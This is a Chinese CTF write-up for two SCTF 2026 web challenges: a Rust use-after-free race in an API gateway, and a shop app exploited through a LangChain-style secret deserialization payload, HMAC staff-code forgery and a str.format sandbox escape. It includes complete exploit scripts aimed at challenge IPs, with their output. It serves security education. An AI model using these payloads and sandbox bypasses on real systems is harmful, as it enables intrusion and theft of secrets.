SCTF2026WebWriteUp

admin 2026-07-19 04:37:27 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: SCTF2026WebWriteUp描述了TreasuryGateway题目的漏洞利用链。该题目涉及一个由Rust服务组成的金融系统API网关,存在Use-After-Free漏洞。攻击者通过控制HTTPheader和慢速发送body,利用竞态条件使悬垂指针指向包含flag的快照数据,从而泄露环境变量中的TREASURYRECONCILIATIONTOKEN。文章提供了详细的漏洞分析、攻击流程和PoC代码。 综合评分: 95 文章分类: CTF,WEB安全,漏洞分析,红队,渗透测试


cover_image

SCTF 2026 Web WriteUp

原创

星盟安全团队 星盟安全团队

星盟安全团队

2026年7月18日 13:39 陕西

在小说阅读器读本章

去阅读

本次 SCTF 2026,我们 XMCVE-Polaris 排名第 6

| 排名 | 队伍 | 总分 | | — | — | — | | 1 | dda_com | 11100 | | 2 | だから僕はCTFを辞めた | 9164 | | 3 | 超级无敌暴龙战士 | 8334 | | 4 | lz雷泽 | 7415 | | 5 | 0psu3 | 7330 | | 6 | XMCVE-Polaris | 6819 | | 7 | W4llz | 6521 | | 8 | R00tK1t | 6195 | | 9 | N1STAR | 6132 | | 10 | 0ops | 6073 |

WEB

Treasury Gateway

题目信息

  • 类别: Web
  • 分值: 1000pt
  • 目标: 获取 TREASURY_RECONCILIATION_TOKEN 环境变量中的 flag

题目描述

基础设施团队最引以为傲的自研金融系统 API 网关,经过一些激进的优化策略,实现了亚毫秒延迟与每秒上万次路由决策。每天上午九点半,合规系统生成当日现金头寸对账报告,报告末尾附有一枚 reconciliation token,用于监管审计校验。这套流程跑了数年,从没出过问题。

架构分析

系统组件

系统由两个 Rust 服务组成:

  1. Gateway (端口 8080 → 外部映射 5000)
  • API 网关,负责路由决策
  • 定期从 Vault 获取合规快照
  • 提供 /__route/audit 审计端点
  1. Vault (端口 3005,仅内部访问)
  • 合规报告服务
  • /internal/compliance/export-snapshot 端点返回包含 flag 的 JSON

数据流

1. 客户端→Gateway(5000)
2. ├─/api/* → 代理到 Vault (3005)
3. ├─ /__route/audit → 内部处理
4. └─ 后台任务:每 1000ms 从 Vault 获取快照
5. ↓
6. Vault (3005)
7. ↓
8. /internal/compliance/export-snapshot
9. 返回包含 TREASURY_RECONCILIATION_TOKEN 的 JSON

关键配置

1. [server]
2. listen ="0.0.0.0:8080"
3. request_timeout_ms =10000

5. [selector]
6. snapshot_url ="http://127.0.0.1:3005/internal/compliance/export-snapshot"
7. refresh_interval_ms =1000

9. [[routes]]
10. name ="api"
11. kind ="proxy"
12. path_prefix ="/api"
13. methods =["GET","POST"]
14. upstreams =["http://127.0.0.1:3005"]

漏洞发现

关键代码分析

1. SelectorEngine 的内存池优化

gateway/src/selector.rs 实现了一个高性能的内存池系统:

1. const SCRATCH_CAP: usize =512;
2. const NONCE_PREVIEW_BYTES: usize =4;

4. type&nbsp;Scratch=Box<[u8;&nbsp;SCRATCH_CAP]>;
5. type&nbsp;TenantPools=HashMap<String,Vec<Scratch>>;

7. pub&nbsp;structSelectorEngine{
8. pools:Arc<Mutex<TenantPools>>,
9. }

每个租户维护一个 scratch buffer 池,用于零分配解析 HTTP header。

2. Use-After-Free 漏洞点

defer_trace 方法存在严重的内存安全问题:

1. pub fn defer_trace(&self,&nbsp;raw_header:&[u8])->DeferredTrace{
2. let&nbsp;tenant_key&nbsp;=&nbsp;tenant_key(raw_header);
3. let&nbsp;mut scratch&nbsp;=self.checkout(&tenant_key);// 从池中取出
4. let&nbsp;raw_len&nbsp;=&nbsp;raw_header.len().min(SCRATCH_CAP);
5. scratch[..raw_len].copy_from_slice(&raw_header[..raw_len]);

7. let(tenant,&nbsp;path,&nbsp;nonce)={
8. let&nbsp;raw&nbsp;=&scratch[..raw_len];
9. let&nbsp;parsed&nbsp;=unsafe{&nbsp;parse_route_selector(raw,&nbsp;SCRATCH_CAP)};
10. // ❌ 危险:将局部生命周期提升为 'static
11. let&nbsp;nonce&nbsp;=unsafe{
12. std::mem::transmute::<&[u8],&'static [u8]>(parsed.nonce)
13. };
14. (parsed.tenant.to_string(), parsed.path.to_string(), nonce)
15. };

17. self.checkin(tenant_key, scratch); &nbsp;// ❌ 归还到池,但 nonce 仍指向它

19. DeferredTrace {
20. tenant,
21. path,
22. nonce, &nbsp;// ❌ 悬垂指针!
23. }
24. }

问题

  1. scratch 从池中取出,用于存储 header
  2. nonce 通过 transmute 被赋予 'static 生命周期,但实际指向 scratch 的内存
  3. scratch 被归还到池中
  4. DeferredTrace 持有的 nonce 成为悬垂指针

3. 竞态条件窗口

route_audit 处理函数:

1. async&nbsp;fn route_audit(
2. &self,
3. request:Request<Incoming>,
4. )->Result<Response<ResponseBody>,BoxedError>{
5. letSome(selector)=&nbsp;request.headers().get("x-route-selector")else{
6. // ...
7. };

9. let&nbsp;trace&nbsp;=self.selector.defer_trace(selector.as_bytes());

11. // ⚠️ AWAIT 点:控制权交还给 Tokio runtime
12. request.into_body().collect().await?;

14. let&nbsp;trace&nbsp;=&nbsp;trace.finish();// 读取悬垂指针指向的内存
15. // ...
16. }

在 .await 期间,其他异步任务可以执行,包括快照获取任务。

4. 快照覆盖机制

后台任务每 1000ms 获取一次快照并覆盖所有 scratch buffer:

1. fn store_snapshot(&self,&nbsp;body:&[u8]){
2. let&nbsp;snapshot&nbsp;=&nbsp;body[..body.len().min(SCRATCH_CAP)].to_vec();

4. let&nbsp;mut pools&nbsp;=self.pools.lock().expect("selector pool lock poisoned");
5. for&nbsp;pool&nbsp;in&nbsp;pools.values_mut(){
6. for&nbsp;scratch&nbsp;in&nbsp;pool.iter_mut(){
7. scratch.fill(0);
8. scratch[..snapshot.len()].copy_from_slice(&snapshot);// 覆盖!
9. }
10. }
11. }

快照来自 Vault 的 /internal/compliance/export-snapshot,包含 flag:

1. {
2. "portfolio":"northwind-capital",
3. "report":"daily-cash-reconciliation",
4. "generated_at":"2026-06-02T09:30:00+08:00",
5. "positions":[...],
6. "controls":{...},
7. "reconciliation_token":"SCTF{...}"
8. }

漏洞利用链

完整攻击流程

1. 1.发送&nbsp;POST&nbsp;/__route/audit
2. Header:&nbsp;x-route-selector:&nbsp;a:xxx...xxx:
3. Body:缓慢发送(每秒5个&nbsp;chunk,持续5-7秒)

5. 2.Gateway处理:
6. ├─&nbsp;defer_trace()执行
7. │├─从池中取出&nbsp;scratch buffer
8. │├─复制&nbsp;header&nbsp;到&nbsp;scratch
9. │├─解析&nbsp;tenant/path/nonce
10. │├─&nbsp;transmute nonce&nbsp;为'static 生命周期
11. │ &nbsp;└─ 归还 scratch 到池(nonce 成为悬垂指针)
12. │
13. ├─ .await 等待 body 收集
14. │ &nbsp;└─ 控制权交还 Tokio runtime
15. │
16. ├─ 后台快照任务触发(每 1000ms)
17. │ &nbsp;└─ store_snapshot() 覆盖所有 scratch buffer
18. │ &nbsp; &nbsp; └─ 悬垂指针现在指向包含 flag 的快照数据
19. │
20. └─ finish() 读取 nonce
21. └─ 从被覆盖的内存中读取快照数据(flag 字节)

精确控制读取偏移

通过控制 x-route-selector header 的格式,可以精确控制 nonce 在 scratch buffer 中的起始偏移:

1. Header格式:&nbsp;tenant:path:nonce
2. ↓↓↓
3. 偏移:02&nbsp; &nbsp;nonce_start

5. 示例:读取偏移402
6. "a:"+"x"*399+":"
7. 总长度=1+1+399+1=402
8. nonce_start&nbsp;=402

Flag 偏移计算

快照 JSON 中 flag 的起始位置:

1. {"portfolio":"northwind-capital","report":"daily-cash-reconciliation",
2. "generated_at":"2026-06-02T09:30:00+08:00","positions":[...],
3. "controls":{...},"reconciliation_token":"SCTF{...}"}
4. ↑
5. 偏移402

通过计算, reconciliation_token 值从偏移 402 开始。每次读取 4 字节( NONCE_PREVIEW_BYTES=4),需要读取偏移:402, 406, 410, 414, … 直到 flag 结束。

完整 PoC

1. #!/usr/bin/env python3
2. """
3. Treasury Gateway CTF Exploit
4. 利用 SelectorEngine 中的 use-after-free 漏洞泄露 flag
5. """
6. import&nbsp;socket
7. import&nbsp;time
8. import&nbsp;json
9. import&nbsp;sys
10. TARGET&nbsp;="1.95.127.162"
11. PORT&nbsp;=5000
12. FLAG_OFFSET&nbsp;=402# flag 在快照 JSON 中的起始偏移
13. SCRATCH_CAP&nbsp;=512
14. def&nbsp;exploit_offset(offset,&nbsp;hold_seconds=5):
15. """
16. 发送请求并保持连接,让快照任务有机会覆盖 scratch buffer
17. 参数:
18. offset: 要读取的字节偏移
19. hold_seconds: 保持连接的时间(秒)
20. 返回:
21. 4 字节的十六进制字符串,或 None
22. """
23. # 构造 selector header,使 nonce 指向目标偏移
24. # 格式: "a:" + padding + ":"
25. # nonce_start = len("a:") + len(padding) + len(":") = 2 + padding_len + 1
26. # 所以 padding_len = offset - 3
27. padding_len&nbsp;=&nbsp;offset&nbsp;-3
28. if&nbsp;padding_len&nbsp;<0:
29. padding_len&nbsp;=0
30. selector&nbsp;="a:"+"x"*&nbsp;padding_len&nbsp;+":"
31. # 计算 body 大小和发送速率
32. # 每秒发送 5 个 chunk,每个 chunk 200 字节
33. chunk_size&nbsp;=200
34. chunks_per_second&nbsp;=5
35. total_chunks&nbsp;=&nbsp;int(hold_seconds&nbsp;*&nbsp;chunks_per_second)
36. total_body&nbsp;=&nbsp;chunk_size&nbsp;*&nbsp;total_chunks
37. # 构造 HTTP 请求
38. request_headers&nbsp;=(
39. f"POST /__route/audit HTTP/1.1\r\n"
40. f"Host: {TARGET}:{PORT}\r\n"
41. f"x-route-selector: {selector}\r\n"
42. f"Content-Length: {total_body}\r\n"
43. f"Connection: close\r\n"
44. f"\r\n"
45. )
46. try:
47. # 建立 TCP 连接
48. sock&nbsp;=&nbsp;socket.socket(socket.AF_INET,&nbsp;socket.SOCK_STREAM)
49. sock.settimeout(12)
50. sock.connect((TARGET,&nbsp;PORT))
51. # 发送 headers
52. sock.sendall(request_headers.encode())
53. # 缓慢发送 body,保持 .await 等待状态
54. # 每 200ms 发送 200 字节,持续 hold_seconds 秒
55. for&nbsp;i&nbsp;in&nbsp;range(total_chunks):
56. try:
57. sock.sendall(b"A"*&nbsp;chunk_size)
58. time.sleep(0.2)# 200ms 间隔
59. except:
60. break
61. # 读取响应
62. response&nbsp;=&nbsp;b""
63. whileTrue:
64. try:
65. data&nbsp;=&nbsp;sock.recv(4096)
66. ifnot&nbsp;data:
67. break
68. response&nbsp;+=&nbsp;data
69. except:
70. break
71. sock.close()
72. # 解析响应 JSON
73. if&nbsp;b"\r\n\r\n"in&nbsp;response:
74. body&nbsp;=&nbsp;response.split(b"\r\n\r\n",1)[1]
75. try:
76. data&nbsp;=&nbsp;json.loads(body)
77. return&nbsp;data.get("nonce_preview_hex","")
78. except:
79. pass
80. returnNone
81. exceptExceptionas&nbsp;e:
82. returnNone
83. def&nbsp;leak_at_offset(offset,&nbsp;max_attempts=5):
84. """尝试多次以获取指定偏移的数据"""
85. for&nbsp;attempt&nbsp;in&nbsp;range(max_attempts):
86. hex_result&nbsp;=&nbsp;exploit_offset(offset,&nbsp;hold_seconds=5)
87. if&nbsp;hex_result&nbsp;and&nbsp;hex_result&nbsp;!="00000000":
88. try:
89. # 验证是否为可打印字符
90. decoded&nbsp;=&nbsp;bytes.fromhex(hex_result)
91. if&nbsp;any(32<=&nbsp;b&nbsp;<127for&nbsp;b&nbsp;in&nbsp;decoded):
92. return&nbsp;hex_result
93. except:
94. pass
95. print(f" &nbsp;[重试 {attempt + 1}/{max_attempts}]",&nbsp;end="",&nbsp;flush=True)
96. time.sleep(0.5)
97. returnNone
98. def&nbsp;main():
99. print("="*60)
100. print("Treasury Gateway CTF Exploit")
101. print("="*60)
102. print(f"\n[*] 目标: {TARGET}:{PORT}")
103. print(f"[*] Flag 偏移: {FLAG_OFFSET}")
104. print(f"[*] Scratch 容量: {SCRATCH_CAP} 字节")
105. print(f"[*] 每次读取: 4 字节")
106. print(f"[*] 连接保持: 5 秒(快照任务约触发 5 次)")
107. print()
108. # 计算需要读取的偏移范围
109. # flag 从 402 开始,最多到 512(SCRATCH_CAP)
110. offsets&nbsp;=&nbsp;list(range(FLAG_OFFSET,&nbsp;SCRATCH_CAP,4))
111. print("[*] 开始泄露 flag 字节...\n")
112. flag_hex&nbsp;=""
113. for&nbsp;offset&nbsp;in&nbsp;offsets:
114. print(f"偏移 {offset:3d}: ",&nbsp;end="",&nbsp;flush=True)
115. result&nbsp;=&nbsp;leak_at_offset(offset,&nbsp;max_attempts=5)
116. if&nbsp;result:
117. decoded&nbsp;=&nbsp;bytes.fromhex(result).decode('ascii',&nbsp;errors='replace')
118. print(f"{result} → {decoded}")
119. flag_hex&nbsp;+=&nbsp;result
120. # 检查是否到达 flag 结尾
121. if'}"'in&nbsp;decoded&nbsp;or('}'in&nbsp;decoded&nbsp;and'"'in&nbsp;decoded):
122. print("\n[✓] 检测到 flag 结尾")
123. break
124. else:
125. print("失败")
126. flag_hex&nbsp;+="00000000"
127. print("\n"+"="*60)
128. print("结果")
129. print("="*60)
130. # 解码完整 flag
131. try:
132. raw_bytes&nbsp;=&nbsp;bytes.fromhex(flag_hex)
133. flag&nbsp;=&nbsp;raw_bytes.decode('ascii',&nbsp;errors='replace')
134. # 清理 null 字节和尾部字符
135. flag&nbsp;=&nbsp;flag.replace('\x00','')
136. flag&nbsp;=&nbsp;flag.rstrip('"')
137. flag&nbsp;=&nbsp;flag.rstrip('}')
138. print(f"\n原始数据: {flag}")
139. # 提取 SCTF{...} 格式
140. import&nbsp;re
141. match&nbsp;=&nbsp;re.search(r'SCTF\{[^\}]+',&nbsp;flag)
142. if&nbsp;match:
143. print(f"\n🏁 FLAG: {match.group()}}}")
144. else:
145. print(f"\n[!] 未找到标准 flag 格式")
146. exceptExceptionas&nbsp;e:
147. print(f"\n[!] 解码错误: {e}")
148. print(f"十六进制: {flag_hex}")
149. if&nbsp;__name__&nbsp;=="__main__":
150. main()

利用结果

1. ============================================================
2. TreasuryGateway&nbsp;CTF&nbsp;Exploit
3. ============================================================

5. [*]目标:1.95.127.162:5000
6. [*]Flag偏移:402
7. [*]Scratch容量:512字节
8. [*]每次读取:4字节
9. [*]连接保持:5秒(快照任务约触发5次)

11. [*]开始泄露&nbsp;flag&nbsp;字节...

13. 偏移402:53435446→&nbsp;SCTF
14. 偏移406:7b756e73→{uns
15. 偏移410:6166655f→&nbsp;afe_
16. 偏移414:7a65726f→&nbsp;zero
17. 偏移418:5f636f70→&nbsp;_cop
18. 偏移422:795f6865→&nbsp;y_he
19. 偏移426:61646572→&nbsp;ader
20. 偏移430:5f6f7665→&nbsp;_ove
21. 偏移434:72726561→&nbsp;rrea
22. 偏移438:645f7665→&nbsp;d_ve
23. 偏移442:72696669→&nbsp;rifi
24. 偏移446:65647d22→&nbsp;ed}"

26. [✓] 检测到 flag 结尾

28. ============================================================
29. 结果
30. ============================================================

32. 原始数据: SCTF{unsafe_zero_copy_header_overread_verified}"

34. 🏁&nbsp;FLAG:&nbsp;SCTF{unsafe_zero_copy_header_overread_verified}

漏洞原理总结

1. Unsafe Rust 的误用

std::mem::transmute::<&[u8],&'static [u8]> 将局部引用的生命周期强行提升为 'static,绕过了 Rust 的借用检查器,但破坏了内存安全保证。

2. 对象池模式的风险

Scratch buffer 在归还到池后,其内存地址不变,但所有权已转移。悬垂指针仍然指向该内存,形成了 use-after-free。

3. 异步编程的竞态条件

.await 点允许其他任务执行。后台快照任务利用这个窗口覆盖了 scratch buffer,导致悬垂指针读取到敏感数据。

4. 零拷贝优化的代价

为了追求极致性能(零分配、零拷贝),牺牲了内存安全,最终导致信息泄露。

Web Shop

题目信息

  • 题目描述: 和bot合伙开店是一种怎样的体验?
  • 目标地址: http://101.245.103.157:5049

总体思路

这题的核心不是传统的 bot XSS 打管理员,而是三段式利用链:

  1. 先通过正常功能拿到 SupportDebugBundle
  2. 再利用 chat metadata 的反序列化特性泄露环境变量 SHOP_SUPPORT_SEED
  3. 用泄露出的 seed 计算 bot 的 staff code,提权到 support_admin
  4. 最后利用 rules/run 这个 Python 沙箱的黑名单绕过,读到隐藏在生成器局部变量中的 flag

最终 flag:

1. SCTF{human_cas3_the_m@in_pr0blem_not_bot}

信息收集

先看首页和 openapi.json

可以发现这是一个 FastAPI 应用,接口包括:

1. /api/auth/register
2. /api/auth/login
3. /api/auth/me
4. /api/shop/products
5. /api/shop/buy
6. /api/shop/download/support-ticket
7. /api/woodfish/knock
8. /api/chat/messages
9. /api/chat/presence
10. /api/louvre/generate
11. /api/rules/run
12. /api/bot/chat

前端 JS 里有几个关键点:

1. 公共聊天是 dangerouslySetInnerHTML

前端会把聊天内容直接当 HTML 渲染:

1. dangerouslySetInnerHTML:{__html:e.content}

说明存在存储型 XSS 面,但这条线并不是本题最直接的解法。

2. 聊天和 presence 都会带 metadata

前端发送聊天和心跳时会带上结构化的 metadata

1. metadata:{
2. source:"...",
3. client:"web-shop",
4. ts:...,
5. messages:[...]
6. }

而且 messages 内部是 LangChain 风格的序列化对象,这个点非常关键。

3. bot 支持 /login<staff-code>

bot 的 /help 返回:

1. /help
2. /profile
3. /order_status&nbsp;<id>
4. /config&nbsp;<json>
5. /login&nbsp;<staff-code>

说明可以通过某种 staff code 提权。


第一步:买到 SupportDebugBundle

新用户初始有 50 金币,商品列表里:

  • 测试商品 50 金币
  • SupportDebugBundle 60 金币
  • 神秘礼盒 999999 金币

所以要先通过 woodfish 挣 10 金币。

接口:

1. POST&nbsp;/api/woodfish/knock

每次加 1 金币,敲到第 10 次木鱼会坏掉,刚好够买 SupportDebugBundle

买下 SupportDebugBundle 后可以下载 support_ticket.py,其内容本质如下:

1. from&nbsp;__future__&nbsp;import&nbsp;annotations

3. import&nbsp;hashlib
4. import&nbsp;hmac
5. import&nbsp;os
6. import&nbsp;secrets
7. from&nbsp;datetime&nbsp;import&nbsp;datetime,&nbsp;timezone
8. from&nbsp;typing&nbsp;importAny

11. SUPPORT_SEED_ENV&nbsp;="SHOP_SUPPORT_SEED"

14. def&nbsp;issue_support_ticket(user:&nbsp;dict[str,Any])->&nbsp;str:
15. seed&nbsp;=&nbsp;os.environ.get(SUPPORT_SEED_ENV,"local-support-seed")
16. today&nbsp;=&nbsp;datetime.now(timezone.utc).strftime("%Y%m%d")
17. message&nbsp;=&nbsp;f"support-login:{user['id']}:{user['username']}:{today}"
18. digest&nbsp;=&nbsp;hmac.new(seed.encode(),&nbsp;message.encode(),&nbsp;hashlib.sha256).hexdigest()
19. return&nbsp;digest[:12]

22. def&nbsp;verify_support_ticket(user:&nbsp;dict[str,Any],&nbsp;provided:&nbsp;str)->&nbsp;bool:
23. expected&nbsp;=&nbsp;issue_support_ticket(user)
24. return&nbsp;secrets.compare_digest(provided,&nbsp;expected)

这说明 /login 需要的 staff code 计算公式是:

1. HMAC_SHA256(seed,&nbsp;f"support-login:{uid}:{username}:{YYYYMMDD_UTC}")[:12]

但我们还不知道 SHOP_SUPPORT_SEED


第二步:利用 chat metadata 泄露 SHOP_SUPPORT_SEED

原理

/api/chat/messages 提交的 metadata 不只是普通 JSON,它会被后端按 LangChain 风格对象处理。

如果在 metadata 里塞入:

1. {
2. "lc":1,
3. "type":"secret",
4. "id":["SHOP_SUPPORT_SEED"]
5. }

服务端在存储/回显时会把它解析成环境变量的实际值。

也就是说,我们可以直接向聊天接口写一条消息,然后从聊天记录把 seed 读回来。

验证 payload

发消息:

1. {
2. "content":"probe",
3. "metadata":{
4. "source":"chat-sync",
5. "client":"web-shop",
6. "ts":1234567890,
7. "probe":{
8. "lc":1,
9. "type":"secret",
10. "id":["SHOP_SUPPORT_SEED"]
11. },
12. "messages":[
13. {
14. "type":"text",
15. "content":"hello"
16. }
17. ]
18. }
19. }

再读取聊天记录时可以看到:

1. "probe":"sdjksdjksj_seedd_222"

于是得到:

1. SHOP_SUPPORT_SEED&nbsp;=&nbsp;sdjksdjksj_seedd_222

第三步:计算 staff code 并提权为 support_admin

有了 seed 后,按照 support_ticket.py 的逻辑计算即可。

例如某个用户:

  • id=75
  • username=bbb222
  • 日期使用 UTC 当天,例如 20260614

则待签名字符串为:

1. support-login:75:bbb222:20260614

然后:

1. code&nbsp;=&nbsp;hmac.new(seed.encode(),&nbsp;msg.encode(),&nbsp;hashlib.sha256).hexdigest()[:12]

把算出来的 code 发给 bot:

1. /login c4b4df024454

服务端返回:

1. 登录成功,已激活&nbsp;support_admin&nbsp;权限。

此时 /api/auth/me 中的角色已经变成:

1. support_admin

同时 bot 的 /help 会新增:

1. /whoami
2. /rulelab

并且现在可以使用:

1. POST&nbsp;/api/rules/run

第四步:分析 rules/run 沙箱

1. 这是黑名单 AST 沙箱

直接试探可以发现:

  • import 被禁
  • lambda 被禁
  • class 被禁
  • globals/locals/vars/open/eval/getattr/setattr 等名字被禁
  • __globals__、 __class__、 gi_frame、 f_globals 等属性被禁

但它不是 capability sandbox,而是典型的“语法/字符串黑名单”。

2. 可以通过字符串拼接绕过敏感字段检测

例如下面的表达式会被允许:

1. s&nbsp;="{0."+"__glo"+"bals__}"
2. result&nbsp;=&nbsp;s.format(iter_preview_items)

虽然源码里有 __globals__ 黑名单,但因为是运行时拼出来的,静态检查挡不住。

同理也可以绕过:

  • gi_frame
  • f_locals
  • f_globals
  • __closure__

3. 可以读取 iter_preview_items.__globals__

通过:

1. s&nbsp;="{0."+"__glo"+"bals__[os].environ}"
2. result&nbsp;=&nbsp;s.format(iter_preview_items)

可以直接读到环境变量,进一步确认:

1. FLAG_PATH=/app/private/flag.txt
2. SHIPMENT_PREVIEW_FILE=/app/private/flag.txt

这已经非常接近 flag 了。

4. iter_preview_items() 的生成器局部变量里直接有 flag

继续对生成器 frame 做读取:

1. g&nbsp;=&nbsp;iter_preview_items()
2. next(g)
3. a&nbsp;="gi_"+"frame"
4. b&nbsp;="f_"+"locals"
5. s&nbsp;="{0."+&nbsp;a&nbsp;+"."+&nbsp;b&nbsp;+"}"
6. result&nbsp;=&nbsp;s.format(g)

返回结果里直接出现:

1. {
2. 'shipment_manifest':'SCTF{human_cas3_the_m@in_pr0blem_not_bot}',
3. ...
4. }

也就是说, iter_preview_items() 在第一次迭代时就把私有发货预览文件读到了局部变量 shipment_manifest,而我们利用 str.format() 绕过黑名单后,直接把它从 frame locals 中抠出来了。

所以最终 flag 就是:

1. SCTF{human_cas3_the_m@in_pr0blem_not_bot}

完整利用脚本

下面给出一份从注册到拿 flag 的完整 exp,全部内联,不依赖任何外部文件。

1. import&nbsp;json
2. import&nbsp;hmac
3. import&nbsp;hashlib
4. import&nbsp;time
5. import&nbsp;urllib.request
6. import&nbsp;urllib.error
7. from&nbsp;datetime&nbsp;import&nbsp;datetime,&nbsp;timezone
8. BASE&nbsp;="http://101.245.103.157:5049"
9. def&nbsp;http_get(path,&nbsp;token=None):
10. headers&nbsp;={
11. "Origin":&nbsp;BASE,
12. "Referer":&nbsp;BASE&nbsp;+"/",
13. }
14. if&nbsp;token:
15. headers["Authorization"]="Bearer "+&nbsp;token
16. req&nbsp;=&nbsp;urllib.request.Request(BASE&nbsp;+&nbsp;path,&nbsp;headers=headers,&nbsp;method="GET")
17. try:
18. with&nbsp;urllib.request.urlopen(req,&nbsp;timeout=15)as&nbsp;resp:
19. data&nbsp;=&nbsp;resp.read()
20. ctype&nbsp;=&nbsp;resp.headers.get("Content-Type","")
21. if"application/json"in&nbsp;ctype:
22. return&nbsp;resp.status,&nbsp;json.loads(data.decode())
23. return&nbsp;resp.status,&nbsp;data.decode(errors="replace")
24. except&nbsp;urllib.error.HTTPErroras&nbsp;e:
25. data&nbsp;=&nbsp;e.read()
26. try:
27. return&nbsp;e.code,&nbsp;json.loads(data.decode())
28. exceptException:
29. return&nbsp;e.code,&nbsp;data.decode(errors="replace")
30. def&nbsp;http_post(path,&nbsp;data,&nbsp;token=None):
31. headers&nbsp;={
32. "Content-Type":"application/json",
33. "Origin":&nbsp;BASE,
34. "Referer":&nbsp;BASE&nbsp;+"/",
35. }
36. if&nbsp;token:
37. headers["Authorization"]="Bearer "+&nbsp;token
38. body&nbsp;=&nbsp;json.dumps(data).encode()
39. req&nbsp;=&nbsp;urllib.request.Request(BASE&nbsp;+&nbsp;path,&nbsp;data=body,&nbsp;headers=headers,&nbsp;method="POST")
40. try:
41. with&nbsp;urllib.request.urlopen(req,&nbsp;timeout=15)as&nbsp;resp:
42. return&nbsp;resp.status,&nbsp;json.loads(resp.read().decode())
43. except&nbsp;urllib.error.HTTPErroras&nbsp;e:
44. return&nbsp;e.code,&nbsp;json.loads(e.read().decode())
45. def&nbsp;register_or_login(username,&nbsp;password):
46. status,&nbsp;data&nbsp;=&nbsp;http_post("/api/auth/register",{
47. "username":&nbsp;username,
48. "password":&nbsp;password,
49. "confirmPassword":&nbsp;password,
50. })
51. if&nbsp;status&nbsp;==200:
52. return&nbsp;data["token"],&nbsp;data["user"]
53. status,&nbsp;data&nbsp;=&nbsp;http_post("/api/auth/login",{
54. "username":&nbsp;username,
55. "password":&nbsp;password,
56. })
57. if&nbsp;status&nbsp;!=200:
58. raiseRuntimeError(f"login failed: {status} {data}")
59. return&nbsp;data["token"],&nbsp;data["user"]
60. def&nbsp;earn_60_coins(token):
61. status,&nbsp;me&nbsp;=&nbsp;http_get("/api/auth/me",&nbsp;token)
62. coins&nbsp;=&nbsp;me["user"]["coins"]
63. while&nbsp;coins&nbsp;<60:
64. status,&nbsp;data&nbsp;=&nbsp;http_post("/api/woodfish/knock",{},&nbsp;token)
65. if&nbsp;status&nbsp;!=200:
66. raiseRuntimeError(f"woodfish failed: {status} {data}")
67. coins&nbsp;=&nbsp;data["user"]["coins"]
68. if&nbsp;data.get("broken")and&nbsp;coins&nbsp;<60:
69. raiseRuntimeError("woodfish broke before reaching 60 coins")
70. return&nbsp;coins
71. def&nbsp;buy_support_bundle(token):
72. status,&nbsp;data&nbsp;=&nbsp;http_post("/api/shop/buy",{"productId":2},&nbsp;token)
73. if&nbsp;status&nbsp;!=200:
74. raiseRuntimeError(f"buy bundle failed: {status} {data}")
75. return&nbsp;data
76. def&nbsp;leak_support_seed(token):
77. payload&nbsp;={
78. "content":"seed-probe-"+&nbsp;str(int(time.time())),
79. "metadata":{
80. "source":"chat-sync",
81. "client":"web-shop",
82. "ts":&nbsp;int(time.time()*1000),
83. "probe":{
84. "lc":1,
85. "type":"secret",
86. "id":["SHOP_SUPPORT_SEED"],
87. },
88. "messages":[
89. {
90. "type":"text",
91. "content":"hello",
92. }
93. ],
94. },
95. }
96. status,&nbsp;data&nbsp;=&nbsp;http_post("/api/chat/messages",&nbsp;payload,&nbsp;token)
97. if&nbsp;status&nbsp;!=200:
98. raiseRuntimeError(f"post message failed: {status} {data}")
99. status,&nbsp;data&nbsp;=&nbsp;http_get("/api/chat/messages",&nbsp;token)
100. if&nbsp;status&nbsp;!=200:
101. raiseRuntimeError(f"get messages failed: {status} {data}")
102. seed&nbsp;=&nbsp;data["messages"][-1]["metadata"]["probe"]
103. ifnot&nbsp;seed:
104. raiseRuntimeError("seed leak failed")
105. return&nbsp;seed
106. def&nbsp;calc_staff_code(seed,&nbsp;user_id,&nbsp;username):
107. today&nbsp;=&nbsp;datetime.now(timezone.utc).strftime("%Y%m%d")
108. msg&nbsp;=&nbsp;f"support-login:{user_id}:{username}:{today}"
109. return&nbsp;hmac.new(seed.encode(),&nbsp;msg.encode(),&nbsp;hashlib.sha256).hexdigest()[:12]
110. def&nbsp;bot_login_staff(token,&nbsp;code):
111. status,&nbsp;data&nbsp;=&nbsp;http_post("/api/bot/chat",{
112. "message":"/login "+&nbsp;code
113. },&nbsp;token)
114. if&nbsp;status&nbsp;!=200:
115. raiseRuntimeError(f"bot login failed: {status} {data}")
116. return&nbsp;data
117. def&nbsp;leak_flag_from_rule_sandbox(token):
118. code&nbsp;=&nbsp;r'''
119. g = iter_preview_items()
120. next(g)
121. a = "gi_" + "frame"
122. b = "f_" + "locals"
123. s = "{0." + a + "." + b + "}"
124. result = s.format(g)
125. '''
126. status,&nbsp;data&nbsp;=&nbsp;http_post("/api/rules/run",{"code":&nbsp;code},&nbsp;token)
127. if&nbsp;status&nbsp;!=200:
128. raiseRuntimeError(f"rules/run failed: {status} {data}")
129. ifnot&nbsp;data.get("ok"):
130. raiseRuntimeError(f"rule error: {data}")
131. text&nbsp;=&nbsp;data["result"]
132. marker&nbsp;="SCTF{"
133. start&nbsp;=&nbsp;text.find(marker)
134. if&nbsp;start&nbsp;==-1:
135. raiseRuntimeError("flag marker not found")
136. end&nbsp;=&nbsp;text.find("}",&nbsp;start)
137. if&nbsp;end&nbsp;==-1:
138. raiseRuntimeError("flag end not found")
139. return&nbsp;text[start:end&nbsp;+1]
140. def&nbsp;main():
141. username&nbsp;="wpuser01"
142. password&nbsp;="Wp!234567890"
143. print("[*] register/login")
144. token,&nbsp;user&nbsp;=&nbsp;register_or_login(username,&nbsp;password)
145. print("[+] token =",&nbsp;token)
146. print("[+] user &nbsp;=",&nbsp;user)
147. print("[*] earn coins")
148. coins&nbsp;=&nbsp;earn_60_coins(token)
149. print("[+] coins =",&nbsp;coins)
150. print("[*] buy Support Debug Bundle")
151. buy_support_bundle(token)
152. print("[+] bundle purchased")
153. print("[*] leak SHOP_SUPPORT_SEED")
154. seed&nbsp;=&nbsp;leak_support_seed(token)
155. print("[+] seed =",&nbsp;seed)
156. print("[*] calc staff code")
157. code&nbsp;=&nbsp;calc_staff_code(seed,&nbsp;user["id"],&nbsp;user["username"])
158. print("[+] staff code =",&nbsp;code)
159. print("[*] bot /login")
160. data&nbsp;=&nbsp;bot_login_staff(token,&nbsp;code)
161. print("[+] bot reply =",&nbsp;data["reply"])
162. print("[*] leak flag from rules sandbox")
163. flag&nbsp;=&nbsp;leak_flag_from_rule_sandbox(token)
164. print("[+] flag =",&nbsp;flag)
